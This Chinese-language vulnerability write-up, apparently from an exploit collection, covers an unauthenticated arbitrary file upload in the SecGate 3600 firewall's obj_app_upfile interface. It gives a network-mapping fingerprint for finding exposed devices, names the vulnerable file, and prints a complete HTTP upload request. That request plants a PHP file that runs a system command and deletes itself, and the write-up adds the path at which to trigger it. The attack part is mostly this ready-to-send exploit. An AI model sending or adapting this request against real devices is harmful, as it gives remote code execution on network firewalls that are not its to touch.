59 lines
1.7 KiB
Markdown
59 lines
1.7 KiB
Markdown
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
网神 SecGate 3600 防火墙 obj_app_upfile接口存在任意文件上传漏洞，攻击者通过构造特殊请求包即可获取服务器权限
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
网神 SecGate 3600 防火墙
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
fid="1Lh1LHi6yfkhiO83I59AYg=="
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
出现漏洞的文件 webui/modules/object/app.mds
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
代码中没有对文件调用进行鉴权，且文件上传路径为可访问路径，造成任意文件上传
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /?g=obj_app_upfile HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Content-Length: 574
|
|||
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
|
|||
|
|
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)
|
|||
|
|
|
|||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
|||
|
|
Content-Disposition: form-data; name="MAX_FILE_SIZE"
|
|||
|
|
|
|||
|
|
10000000
|
|||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
|||
|
|
Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
|
|||
|
|
Content-Type: text/plain
|
|||
|
|
|
|||
|
|
<?php system("id");unlink(__FILE__);?>
|
|||
|
|
|
|||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
|||
|
|
Content-Disposition: form-data; name="submit_post"
|
|||
|
|
|
|||
|
|
obj_app_upfile
|
|||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
|||
|
|
Content-Disposition: form-data; name="__hash__"
|
|||
|
|
|
|||
|
|
0b9d6b1ab7479ab69d9f71b05e0e9445
|
|||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
默认上传路径 /secgate/webui/attachements/ ， 访问 attachements/xxx.php 文件
|
|||
|
|
|
|||
|
|
|